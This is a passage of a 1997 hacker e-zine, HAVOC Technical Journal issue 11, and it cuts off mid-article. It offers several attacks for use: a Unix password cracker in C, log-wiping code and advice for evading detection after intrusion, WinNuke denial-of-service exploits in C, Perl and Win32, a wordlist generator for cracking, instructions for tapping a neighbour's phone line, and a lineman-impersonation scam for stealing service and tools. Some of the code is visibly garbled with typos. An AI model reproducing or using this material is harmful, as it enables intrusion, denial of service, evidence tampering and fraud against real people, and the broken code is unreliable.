’ÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕ¸
³The HAVOC Technical Journal                                       ³±
ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ±
 ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

Vol. 1 | No.11 | June 1st, 1997 | A HAVOC Bell Systems Publication

HAPPY ANIVERSARY TO THTJ! 1 YEAR AND GOING STRONG! WOO HOO!
_____________________________________________________________________________

                          -[The HAVOC Technical Journal Issue 11]-
		    Editorial..............................Scud-O
                    crack-passwd.c ........................Scud-O
                    Getting away scott free................The Banshee
                    Winnuke Info & Code....................Snapple
                    REality's Digital Dictionary...........REality
                    Generate.pas ..........................Scud-O
                    Back Door to MicroType.................WeatherM
                    Mobile Phreaking.......................phear.
                    Java Mail Forging & Bombing............Scud-O
                    Line Man Impersonation.................phear.
                    Securities Hole in cgi-bin.............memor
                    The History of Caffeine................Scud-O
                    Untitled...............................It's a secret
                    Looking Back, a year later.............Scud-O
		    The News...............................KungFuFox
		    Phonecalls.............................THTJ
                    
		    -------------------------------------------------
[WE HAVE MOVED]
        Hell, most of you probably already know this, but thanks to JP we are
        now at: http://www.antionline.com/hbs/

[ArcAngl Joins HBS]
        Yes, yet another #phreak brother has joined up with HBS. Arc is one
cool mofo, and let knows his shit. He lives kinda near Scud-O, so watch for
halarious anidotes coming from their stories of trashing, getting busted,
drinking, fast driving, etc. Note: Watch out for Acura Integras and Poniac
Grand Prix LE's drag racing!
_____________________________________________________________
[ Soul Coughing FUCKING OWNS! ]
        Well, at the HFStival in RFK Staduim in Washington DC took place on
May 31st, and i would like to thank Sould Coughing for letting me hang with
them. YOU GUYS FUCKING OWN! If you have never heard any of Soul Coughing's
music, go run ( not walk ) to a store and buy "Irresistible Bliss" their
newest CD, or pick up some of the older CDs. Also, if you have the X-Files CD
Soundtrack, pop it in and play sone number 2, 'Unmarked Helicopters' and hear
Soul Coughing's wonderful music.
_____________________________________________________________

The HAVOC Technical Journal - Information
- Editor in Chief : Scud-O, FoxMulder@worldnet.att.net
- Assitant Editor : KungFuFox, mazer@cycat.com
- Submissions Editor: Keystroke, keystroke@thepentagon.com
- THTJ email address: thtj@juno.com
- THTJ website: http://www.antionline.com/hbs/
- THTJ mailing address: PO BOX 448 Sykesville, MD 21784

  The HAVOC Technical Journal Vol. 1, No.11, June 1st, 1997.  
  A HAVOC Bell Systems Publication.  Contents Copyright (©) 
  1997 HAVOC Bell Systems Publishing.  All Rights Reserved.  
  No part of this publication may be reproduced in whole or 
  in part without the expressed written consent of HAVOC 
  Bell Systems Publishing.  [No copying THTJ, damnit.]
  
  The HAVOC Technical Journal does in no way endorse the 
  illicit use of computers, computer networks, and 
  telecommunications networks, nor is it to be held liable 
  for any adverse results of pursuing such activities.
  [Actually, to tell you the honest to goodness truth, we      
  do endorse that stuff.  We just don't wanna get in trouble 
  if you try it for yourself and something goes wrong.]

						   
  For infomation about using articles published in THTJ, send mail to:
			 e-mail: thtj@juno.com
			 mail:   THTJ
				    c/o HBS
				    PO Box 448
				    Sykesville, MD 21784
_____________________________________________________________
[Editorial : by Scud-O] Money..........

Money, get away
Get a good job with more pay and you're O.K.
Money it's a gas
Grab that cash with both hands and make a stash
New car, caviar, four star daydream,
Think I'll buy me a football team

Money get back
I'm alright Jack keep your hands off my stack.
Money it's a hit
Don't give me that do goody good bullshit
I'm in the hi-fidelity first class travelling set
And I think I need a Lear jet

Money it's a crime
Share is fairly, but don't take a slice of my pie
Money so they say
Is the root of all evil today
But if you ask for a rise it's no surprise that they're
giving none away.

                - 'Money' by Pink Floyd from 'Dark Side of the Moon'
                                Lyrics by Roger Waters.

        This month, i am going to have a little chat with you on money. Why
you ask? Well, let me blurt it out. Earlier this month, while checking my mail
at the local Post Office, i was approached, and offered a buy out bid for
The HAVOC Technical Journal. Yes, thats right, some one wanted to buy this
very zine that you are reading. Shocked? Well, so was I, especially when i
read the 'contract'.

The 'Contract'
--------------

        Ok, the person who approached me and offered me this money, the amount
of which ill get to in a minute, gave me this contract before heading out the
door.
        It states that one, Scud-O aka __(My REAL Name would go here)___ is
to be paid $10,000 for The HAVOC Technical Journal, Any and all copyrights
held for THTJ, And my current computer.

        Ok, now that sounds like a good deal but read on....

        The restrictions on the editor and writing staff were as follows:

        o I ( Scud-O) can never write or edit another zine, either in print,
          or online, and is far as the rest of this document explained, It
          looked like i could never work and a h/p zine, or even a NORMAL
          zine like Time, Newsweek, etc.

        o Any and all past writers can never write for another zine, either
          in print or online. Now, this is just simply unenforcible, as i have
          no control over the other writers. They will still continue to write
          articles for many zines. I think this was added, so if i had volated
          the contract that they could sue me, and at least be gareented the
          10000 they paid me.


        So, after reading this, well i threw out the contract. There is no way
that i am going to give up THTJ or my freedom to edit a zine, or even write
articles for them. Maybe some of you are saying, 'hey just use a different
nick' , well this would not work, since if the traced the zine to me, which
probably wouldnt be hard to do, They could sue me for breach of contract,
and sue my ass off.
        In the end, i hope you liked the view i took, and decided to keep
THTJ.
                Scud-O , Founder, and Editor in Chief of THTJ


        Scud-O and HBS would like to hear your views on this issue.
        Please feel free to e-mail us at: FoxMulder@worldnet.att.net

    ----------------------------------------------
  /       ---/   --/  /   /  |  /------/   /    /
 /---       /-----/------/-----/      /   /    /
/----------/                         /--------/
		    -of HAVOC Bell Systems-

FoxMulder@worldnet.att.net | http://www.antionline.com/hbs/

_____________________________________________________________
[ No We are NOT Going to Stop ]
        Earlier this month, I had mentioned to a few people that i was
thinking of giving up thtj. Well, this is false. I had looked into giving
up on the h/p scene in general, but after a few beers, i changed my mind, I
am going to keep this zine going.
        I would like to thank JP for telling people that i was thinking of
giving up and stop publishing thtj. And a REAL  big thanks to the hundreds of
you who sent me e-mail saying to keep up the good work on the zine. Thanks.
_____________________________________________________________
[ crack-passwd.c - A Password Cracker by Scud-O]

        Ok, well, why this may not be the greatest cracker out there, this
has a variety of features, and does more cracking than other conventional
password crackers out there. This is for the UNIX platform, and i have no
intention of porting it to DOS, since well, i dont feel like porting crypt()
along with it.

/*******************************************************************
*
* crack-passwd.c - A Password Cracker by Scud-O for THTJ11.
*
* Usage: crack-passwd [-w wordlist]
*
* This is a fairly advanced cracker, first it gets the GECOS field, and
* modifies it, etc and trys it as the password. if this fails, then it goes
* to the wordlist that you specify, or the /usr/dict/words if you leave it
* blank.
*
* All comments to: Scud-O at <FoxMulder@worldnet.att.net>
*
* Improvements needed : a faster crypt() method would be nice, maybe ill
* try crypt(3), hmmmm. also a faster try() would be nice.
* Also: adding the joetest.c code could be nice, but it's not needed. 
*********************************************************************/

#include <ctype.h>
#include <stdio.h>
#include <pwd.h>
#include <sys/param.h>
#include <sys/time.h>

#define DEF_WORDLIST "/usr/dict/words"
#define MAXWORDS     32767
#define NW           64

int ndictwords = 0;

char *pname;
char *wordfile = DEF_WORDLIST;
char wordlist[MAXWORDS][9];

main(argc, argv)
{
        char **argv;
        int argc;

        {
                char * try();
                register chat *passwd;
                register struct passwd *pw;

                setlinebuf(stdout);
                pname = *argv;

                /* Process the arguments */
                while (--argc)
                {
                        if ( **++argv != '-')
                                /* Yuck, a goto! i should change this.... */
                                goto usage;

                        switch ( *++*argv)
                        {
                                case 'w':
                                        if (--argc <= 0)
                                                /* Again! */
                                                goto usage;

                                        wordfle = *++argv;
                                        break;
                                default:
usage:                    fprintf(stderr, "Usage: %s [-w wordfile\n", pname);
                          exit(1);

                        }
        }

        /* load up the wordlist */
        load_wordlist();

        /* For each password file line..... */
        while((pw = getpwant()) != NULL)
        {
                /* Look at the excrypted password. If it's not 13 characters,
                 * the password is a fake value. ( or its, yuck encrypted) */

                switch (strlen(pw->pw_passwd))
                {
                        case 13:
                                /* Crack the biatch */
                                if (( passwd = try(pw)) != NULL)
                                {
                                   printf("%s was cracked, password is %s\n",
                                           pw->pw_name, passwd);
                                }

                                break;

                        case 0:
                              /* Error, an invalid password */
                              printf("Error - a zero length password : %s\n",
                                     pw->pw_name);
                              break;

                        default:
                              break;
                }
        }
        exit(0);
}

/****************************************
* try() - this function does the cracking
****************************************/

char *try(pw)
struct passwd *pw;
{
        char *crypt();
        char *words[NW];
        register char *s;
        static char buf[1024];
        register int i, nwords;

        /* Build a list of words - the login name, and words from GECOS */
        words[0] = pw->pw_name;

        nwords = 1;
        s = pw->pw_gecos;

        while (*s == ' ' || *s == '\t')
                s++;

        while (*s != ',' && *s != '\0' && nwords < NW)
        {
                while (*s == ' ' || *s == '\t')
                        *s++ = '\0';

                words[nwords++] = s;

                while ( *s != ' ' && *s != '\t' && *s != ',' && *s != '\0')
                        s++;
        }

        *s = '\0';

        /* Ok, now lets try all those words in various permutations. */

        for (1 = 0; 9 < nwords; i++)
        {
                if (!strcmp(pw->pw_passwd, crypt(words[i], pw->pw_passwd)))
                        return(words[i]);
                                reverse(words[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(buf, pw->pw_passwd)))
                        return(buf);
                                lower(words[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(buf, pw->pw_passwd)))
                        return(buf);
                                reverse(buf, buf);

                if (!strcmp(pw->pw_passwd, crypt(buf, pw->pw_passwd)))
                        return(buf);
                                upper(words[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(buf, pw->pw_passwd)))
                        return(buf);
                                reverse(buf, buf);

                if (!strcmp(pw->pw_passwd, crypt(buf, pw->pw_passwd)))
                        return(buf);
                                capital(words[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(buf, pw->pw_passwd)))
                        return(buf);
                                reverse(buf, buf);

                if (!strcmp(pw->pw_passwd, crypt(buf, pw->pw_passwd)))
                        return(buf);
        }

        /* Ok, that didn't work, lets try the dictionary */

        for ( i=0; 1 < ndcitwords; i++)
        {
                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(wordlist[i]);
                reverse(wordlist[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(buf);
                lower(wordlist[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(buf);
                reverse(buf, buf);

                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(buf);
                upper(wordlist[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(buf);
                reverse(buf, buf);
                         
                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(buf);
                capital(wordlist[i], buf);

                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(buf);
                reverse(buf, buf);

                if (!strcmp(pw->pw_passwd, crypt(wordlist[i], pw->pw_passwd)))
                                return(buf);
        }

        return(NULL);
}

/* load_wordlist() - read the wordlist into memory. Pretty simple */
load_wordlist()
{
        FILE *fp;
        char word[BUFSIZ];

        if ((fp = fopen(wordfile, "r")) == NULL)
        {
                fprintf(stderr, "%s: cannot open %s.\n", pname, wordlist);
                exit(1);
        }

        while(ndictwords < MAXWORDS && fgets(word, BUFSIZ, fp) != NULL)
        {
                word[strlen(word)-1] = '\0'; /* strip the newline character */
                strncpy(wordlist[ndictwords], word, 8);
                wordlist[ndictwords++][8] = '\0';
        }

        fclose(fp);
}

/* lower() - convert (s) to lower case (t) */
lower(s,t)
register char *s, *t;
{
        while(*s)
        {
                *t++ = isupper(*s) ? tolower(*s) : *s;
                s++;
        }
}

/* upper() - convert (s) to upper case (t) */
upper(s,t)
register char *s, *t;
{
        while(*s)
        {
                *t++ = islower(*s) ? toupper(*s) : *s;
                s++;
        }
}

/* capital() - capitalize (s) and store it (t) */
captial(s,t)
register char *s, *t;
{
        *t++ = islower(*s) ? toupper(*s) : *s;
        s++;

        while(*s)
        {
                *t++ = islower(*s) ? toupper(*s) : *s;
                s++;
        }
}

/* reverse() - reverse (s) and store it (t) */
reverse(s, t)
register chat *s, *t;
{
        register char *p;

        p = &s[strlen(s) - 1];

        while ( p >= s)
                *t++ = *p--;
        *t = '\0';
}

_____________________________________________________________

************************* | If you dont like it then eat me cuz its free
Getting away scott free.  | information and you should be trying to get 
   by The Banshee         | as much as that as you can before we all 
This was written for THTJ | blow up and die a terrible horrible death 
cuz the zine is the bomb  | cuz big brother is watching..
************************* | BE PARANOID!

Everyday you see some dumbass wanna be hacker getting arrested, suspended 
from school, kicked out of the house, getting raided by the feds for the
stupid ass reason that the dumb fucker doesnt know how to edit log files!
In this text I am going to explain the varius log files, and where to find
them and how to edit and replace them, using either your greatest hacking
tool yet, that being pico, or use one of the log editor programs.

In this day in age, people use the internet as good ways to access other 
computers. Good idea, but you are also more succeptible to log files. When
you gain root on a dial up there are no log files to be dealt with. The only
true worry is that someone will trace your number back to the original caller.
but that is easily by passed by simply not doing it from your house. Here is
a simple plan for using your neibors phone line to do your deeds (I am lucky
for I have a kid next door who tells everyone hes a hacker so if I ever get
caught its him who gets the blame). 

Ok here we go, on most rural or suburban
neiborhood there are little gray boxes on the sides of the houses, which
are locked by a simple screw that you can unscrew in a matter of seconds.
This little gray box contains usually two phone lines that lead up into 
the house. If the person has two phone lines then the two jacks will be two
different lines, if they have one phoneline then both jacks will be the same
line. Ok, if the person has only one phone line you are good to go. (Make
sure you do this at night or when your neigbors are away on vacation) Dig
a small ditch from your neigbors gray box to your house's nearest window,
then get some long phone cords (Usually found at radio shack) and run it from
the gray box to your nearest phone in your house. Cover up the ditch and you
got yourself a nice phone line to do what you like.

But what if the house has two phonelines and you cant dissconnect one of 
thier lines just for you to use, you may ask. That is right thats just 
screamin for yourself to get caught, so heres what you do!

Go to radio shack and pick up a splitter they kinda look like this
                          ||
                          ---
                         /   \
                        |_____|
I know thats a real lame depiction of the splitter itsself, but uhm what
it does is you can split one line into two lines. So do the same as the one
liner and dig a ditch etc etc, but put the splitter in and lead one line
into your neibors house and the other to your house, so no suspision when
they use their second phone line and the have no dial tone..Also I suggest
you do all your callin on their phone line when they are not home, and dont
try to listen in on their phone calls cuz each time you pick up the phone
thers a really loud click that the other party can hear..Use it just for
doing the stuff you wouldnt dare using your phone line to do.
So when the cops start pullin up, you dont have to worry its all next door.

Now on too unix, and linux. When you do anything on a linux server, you are 
logged. The three main log files you really should worry about are 'lastlog',
'UTMP', and 'WTMP' The only way to edit these files is if you have root 
cuz only root owns these files. Heres a breif description of the 3 important
log files.

   LastLog - Where the last login came from.
   WTMP - every log on and off, with login and logout time plus tty and host. 
   UTMP - Who is currently logged in on the server.

Heres where they can be found on vairus operating sytems.
Usually in linux you can find all the log files in /usr/var/adm
             
LastLog        UTMP      WTMP    | If one of them is in one of those  
-------       ------    ------   | directorys, all the rest tend to be in 
/usr/var/adm  /etc      /etc     | the same direcorys. And dont forget 
/usr/adm      /var/adm  /var/adm | if you used the famed phf exploit 
/var/adm      /usr/var  /usr/var | to get your password file that you 
/var/log      /usr/adm  /usr/adm | cracked, dont forget to erase everything
              /var/log  /var/log | in the /httpd/logs file, in which a lot
                                 | of hackers neglect to do!

Things not to do
----------------
Never, ever, ever, ever totally delete the log files for the fact that
root then knows that there was a hacker in the mists of his system. 

Dont go into /etc/motd and change the motd. Thats the first thing most lame
fuckers do, and thats just another way of screaming 'A HACKER WAS HERE!'
(Why is it when someone acctually gets into a system they feel compled to
tell someone that they were there?)

Dont put in suid root shells anywhere, your better off compiling a backdoor
so you can access it anytime without being noticed by commands like user or
finger..

Dont hack the webpage the server is using, unless you have a pretty damn good
reason to do it and not just to show off to your friends and to try to be 
cool

Some codes to help you along the way
------------------------------------
Marry.c is a great program for editing log files. Lots of flags to play with
and over all its a great fucking program to use to edit and spoof logs.
You can get the source redily at most sites that offer "hacking" codes. Im 
sure alot of people can back me up in saying this is one of the best.
(http://www.rootshell.com is one of the places you can get it)

This next program basicly just erases yourself from all the logs, its simple
but it also screams to the sysadmin that there was a hacker present in the
machine

#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
    int     argc;
    char    *argv[];
{
    char    *name;
    struct utmp u;
    struct lastlog l;
    int     fd;
    int     i = 0;
    int     done = 0;
    int     size;

    if (argc != 1) {
         if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
             printf("You are now cloaked\n");
             goto start;
                                                           }
         else {
              printf("close successful\n");
              exit(0);
              }
                   }
    else {
         printf("usage: close [file to close]\n");
         exit(1);
         }
start:
    name = (char *)(ttyname(0)+5);
    size = sizeof(struct utmp);

    fd = open("/etc/utmp", O_RDWR);
    if (fd < 0)
        perror("/etc/utmp");
    else {
        while ((read(fd, &u, size) == size) && !done) {
            if (!strcmp(u.ut_line, name)) {
                done = 1;
                memset(&u, 0, size);
                lseek(fd, -1*size, SEEK_CUR);
                write(fd, &u, size);
                close(fd);
            }
        }
    }


    size = sizeof(struct lastlog);
    fd = open("/var/adm/lastlog", O_RDWR);
    if (fd < 0)
        perror("/var/adm/lastlog");
    else {
        lseek(fd, size*getuid(), SEEK_SET);
        read(fd, &l, size);
        l.ll_time = 0;
        strncpy(l.ll_line, "ttyq2 ", 5);
        gethostname(l.ll_host, 16);
        lseek(fd, size*getuid(), SEEK_SET);
        close(fd);
    }
}
 

Now as a concluding paragraph Ive decided to show you why you should be 
paranoid as shit. 
        
        The first and only time I was busted wasnt because I neglected to 
erase log files, or I told eveyone about my doings, it was because there
was a large suspision that I was an alleged "hacker". So because of this
I was not only kicked out of college, I also found out that I was being
watched for 3 weeks including undercover bitches posing as my classmates 
to try to rip out info on me..You can call this discrimination, biased 
thoughts, or whatever you want, but the fact is, no one even likes the term
hacker, the simple word brings up thoughts of some punk teen giving other
people virus's. Much like marijuana legalazation, gay rights, abortion, 
racisim, hacking is a very very touchy subject that our governmetn likes
to brush under the carpet and try to just forget it. But its there, and 
the hackers like codezero (hacking amnesty international) are giving 
the real hackers a bad name, givin the term hacker even more of a 
discriminitory meaning..What Im trying to say here is, be paranoid, dont
talk shit, and look after your own ass.



_____________________________________________________________

Editor's note: Well it seems that some people to read directions and send in
their articles to our submissions editor, keystroke. Thanks to key for passing
this along and to Snapple for writing it. This is a popular topic these days,
so have fun using the code you all.

WinNuke Pack 1.0 by Snapple(root@techie.com)
============================================

Another sloppy piece of Microsoft coding.

It is possible to remotly cause denial of service to any of the operating systems listed below.
by sending Out of Bounds data to NetBios, port 139.The users carrier will drop and cause 
Windows to execute a general protection fault (crash). Obviously you will need an ip address
and the target machine will also need an ip address(ie: inet connection).

Systems that are affected are: 
- Windows 3.11 
- Windows 95 
- Windows NT 3.51 
- Windows NT 4.0 

What the pack contains
======================

- winnuke ansi c source code (linux, bsd, sunos)*
- perl script version of winnuke.*
- Visual C++ version of winnuke (MsWindows platforms).*
- Win95 winnuke binary(winnu95.zip).
- Mac winnuke source (winnuke-10-source.hqx).
- Mac winnuke binary. (WinNuke_1_0_FAT.sit).

* code inserted into article below.

Some Final Words
================
"Download and apply the patches and perhaps you're safe for the next few weeks.
That is, untill the next Microsoft bug surfaces.... This will go on forever. Are you
getting sick and tired of this? Are you fed up with giving your money to Bill Gates -
already the richest man in the world - and getting all this crap in return? Then
perhaps you're ready for an alternative. Perhaps you're ready for Linux. 

Linux is an exciting and powerfull operating system with millions of happy users
world wide. It's the fastest growing operating system in existence. The brightest
minds of the computing world contribute to it. They don't do it for money, they do
it because they want the best system possible. " (quoted)


Snapple.(root@techie.com)
=========================



Ansi C code. ( by _eci)
=======================
--- CUT HERE ---

/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return;
}


void main(int argc, char *argv[]) {

     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }

     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }

     open_sock(s,argv[1],dport);


     printf("Sending crash... ");
       send(s,str,strlen(str),MSG_OOB);
       usleep(100000);
     printf("Done!\n");
     close(s);
}

--- CUT HERE ---






Perl script Winnuke (by Ghent)
========================
--- CUT HERE ---
#!/usr/bin/perl
# Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci

use strict; use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; }
$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;
print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S;
--- CUT HERE ---



Windows Nt/95 winnuke source (by Eugene Surovegin)
==========================================
--- CUT HERE ---
// Windows NT port by Eugene Surovegin <ebs@glasnet.ru>
// Compiled with MS Visual C++ 4.2b, tested on NT 4.0 SP2

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <winsock.h>

#define dport 139  /* Attack port: 139 is what we want */

int open_sock(int sock, char *server, int port) {

  struct sockaddr_in blah;
  struct hostent *he;
  int res;

  memset((char *)&blah,0,sizeof(blah));
  blah.sin_family=AF_INET;
  blah.sin_addr.s_addr=inet_addr(server);
  blah.sin_port=htons(port);

  if ((he = gethostbyname(server)) != NULL)
    memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length);
  else
    if ((blah.sin_addr.s_addr = inet_addr(server))==INADDR_NONE) {
      puts("Cannot resolve host");
      return(-3);
    }

  if (res=connect(sock,(struct sockaddr *)&blah,16)==-1) {
    puts("Cannot connect socket");
    return(-4);
  }
  printf("Connected to [%s:%d].\n",server,port);
  return 0;
}


void main(int argc, char *argv[]) {

  int   s;
  char  *str = "Bye";  /* Makes no diff */
  int   port=0;

  if ( (argc<2) || (argc>3)) {
    printf("Usage: %s <target> [<port>]>\n",argv[0]);
    exit(0);
  }

  if (argc==3) port=atoi(argv[2]);
  if (!port) port=dport;

  WSADATA wsaData;
  if (!WSAStartup(MAKEWORD(1, 1), &wsaData)){
    if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))!=INVALID_SOCKET) {
      if (!open_sock(s,argv[1],port)){
        puts("Sending crash... ");
        send(s,str,strlen(str),MSG_OOB);
        puts("Done!");
      }
      else printf("Error connecting to host %s",argv[1]);
      closesocket(s);
    }
    else puts("Error getting socket");
    WSACleanup();
  }
  else puts("Cannot init Winsock");
}

--- CUT HERE ---


_____________________________________________________________

                     --=[ REality's Digital Dictionary ]=--
                               Written by REality
                      REF. Racal-DataCOM (elseberry@usa.net)



(Block)
A quantity of information transmitted as a discrete entity by its own starting and ending points, usually with its own control, routing, and error
correcting information.

(BMS) (Bandwidth Management Service)
An option availible with Accunet T1.5 service from my friend and yours AT&T to enable customers to use an on-premises terminal to reconfigure channels within their T1 trunkz in as little as one minute preventing the hassle of waiting on tech for 25 fucking years.

(BOC) (Bell Operating Company)
Any of the 22 local telephone companies divested from AT&T and reorganized into the seven regional Bell Holding Companies. Examples include Bellsouth, Bell Atlantic, Southwestern Bell, blah.

(BPS) (Bits per second)
A measure of speed in serial transmission. Also used to describe hardware capabilities. Examples of this shit include a USR 56KBps modem.

(Bridge)
A device that connects two LANs. Bridges function at the data link layer of the OSI model, and provide protocol-independent forwarding data between two totally fucking different networks.

(Broadcast)
The delivery of a transmission for two or more stations at the same time, such as over a bus-type local area network or for rich fuckers, by satelitte.

(Brouter) (WooHoo!)
A device that combines the functions of a bringe and a router. Can route one or more protocols, such as TCP/IP and XNS, and bridge all other traffic over to the local network. Otherwords, a brouter is tha' shit.

(Bypass) 
Any private networking scheme that accesses long-distance transmission facialities without going through the local exahcnge carrier.

(Byte)
A computer-readable group of bits (normally 8 bits in length).

(Byte Stuffing)
The insertion of specific bytes of information into a stream of data to act as control characters for that certain stream of data.


_____________________________________________________________
[ Generate.pas ] by Scud-O

{$N+,E+}
PROGRAM Generate;
(*************************************************)
(* Generate 1 - A program to be used to generate *)
(*   wordlists for password cracking. Uses       *)
(*   factorials and permutations to generate it  *)
(*                                               *)
(* See below on how to enlarge the list, etc.    *)
(*************************************************)

TYPE
    PermString = String[13];

    FUNCTION Factorial(B : Byte) : Extended;
    VAR
       T : Extended;
       N : Byte;

    BEGIN
         T := 1;
         FOR N := 1 TO B DO T := T*N;
         Factorial := T;
    END;

    PROCEDURE Xchg( VAR A, B : Char);
    VAR T : Char;
    BEGIN
         T := A;
         A := B;
         B := T;
    END;

    FUNCTION PermOf(Org : Permstring; L : LongInt) : PermString;
    VAR
       P, Q : Byte;
       Nump : LongInt;

    BEGIN
         PermOf := '';
         IF L < 1 THEN Exit;
         Nump := Round(Factorial(Length(Org)));
         IF L > Nump THEN Exit;
         Dec(L);
         P := 0;
         FOR Q :=Length(Org) DOWNTO 2 DO
             BEGIN
                  Inc(P);
                  Nump := Nump DIV Q;
                  Xchg(Org[P] , Org[P + (L DIV Nump)]);
                  L := L MOD Nump;
             END;
         PermOf := Org;
    END;


VAR
   N : LongInt;
   Wordfile : Text;

BEGIN
     Assign( Wordfile, 'wordfile');
     Append(Wordfile);

     (******************************************************************
      * Ok, to make this bigger and have a larger word file, first,
      * Enlarger the number in the Round(Factorial(X)) and then where
      * PermOf('letters') replace that with the letters you want to use
      * I used append() so that you can keep buiding the list. have fun
      *******************************************************************)

     FOR N := 1 TO Round(Factorial(7)) DO
         WriteLn(Wordfile, PermOf('abcdefg', N):5);
     Close(Wordfile);

END.


_____________________________________________________________
The Weather Report:  Back Door to MicroType
By: WeatherMan


  MicroType is alittle typing tutor designed for
teaching in the classroom.  I think its real pathetic
because they make it so you can't certain things you
want it to do.  This my help you in your journeys.
  First goto the \mt directory.  Second find a file
called m.xxx  xxx=bat or exe I don't really remember.
Third run it and it should give you a password prompt.
Fourth put in "010" and It will ask you if you want to
change the password or not.  whuala, amaze your friends
and give me credit.

Contact Info:
weatherm@surfsouth.com
www.surfsouth.com/~weatherm
UIN Number:  1209195


_____________________________________________________________
[ Linemen Scams ] by phear.



	Well fuck, here we go.  Special thanks to whoever feels like 
publishing this.  After all without information we are all truly lost.
Ever been out beige boxing and thought to yourself, "self, this rules
but there has to be more".. almost as if something was missing? Well
ill tell ya,  its not an overwhelming urge to accept the lord as your
saviour. (so maybe im a little bitter) I was out just doing the usual
beigeboxing the other night and I thought to myself. "Why should I be
forced to this in the dark at night in fear of being caught?" And thats
when i realized i dont have too, in fact neither do you.  

	What better scam then to pretend your a lineman.  Hopefully if
your beigeboxing you know know enough about phones to be a lineman if
not you could wing it if you had too.  So here's what you do.  Go buy
a white hardhat.  Any white hardhat will do,  just as long as it fits
right, I mean why be uncomfortable in the midst of phreaking?  Then 
rummage through your closet ( I know, I know, I would'nt want to go
in there either ) until you find a longsleeve light blue shirt.  Grab
a pair of jeans too.  Alright now, put it all on and look in the mirror.
Believe it or not you will look a whole hell of a lot like a lineman. Or
atleast enough for the general public to be fooled.  Now what your missing
are tools.  No lineman's outfit is complete without tools.

	A utility belt isnt a bad idea but not a necessity, I've never
used one.  You need a red phone, baseless of course.  Preferrably a lineman's
handset, but those aren't always just readily available.  If you want one
bad enough though just swipe one out of a Bell truck.  The important thing
is that whatever phone you have, it's red.  Remember were fooling the general
public here.  You also have got to have a 7/16" hex driver, preferabbly with
a red handle but beggars cant be choosers.  Hell when you swipe the phone 
just swipe the hex driver too.  In fact if you can, take the whole tool belt.
You also need a small flashlight, poor lighting or something, you never 
know.  Alright,  you've got the outfit, tools, and a need to phreak.

	Where to phreak at though?  I mean you dont have a big white truck
with all sorts of compartments in it to make you totally legit.  So you have
to maintain a low profile.  Always pick a spot and then park a block from it
and walk there.  Starting off you should hit a few houses.  Places where 
nobody's home, at work or something.  Just walk up there and open up the 
phonebox,  act like you belong there.  I gaurantee no one will even question
you for a minute.  After you feel pretty confident move on to bigger and
better phreaks.  Go hit a local buisness or two, but go inside and tell them
that you were sent from their phone company, whatever it is and that you are
doing a routine check on the lines because there's been some trouble a few
lines down etcetera.. Then go find the box,  if you want,  ask them to show 
you the phone setup in the building.  This is the best way to get confident
about a scam like this.  Check it all out, pump them for information.  Then
go back to the box and make a few free calls.  If your going to go this far
though you should probably have a lineman's handset.  Looks a lot more 
professional.  Then move on to large apartment complexes.  These are 
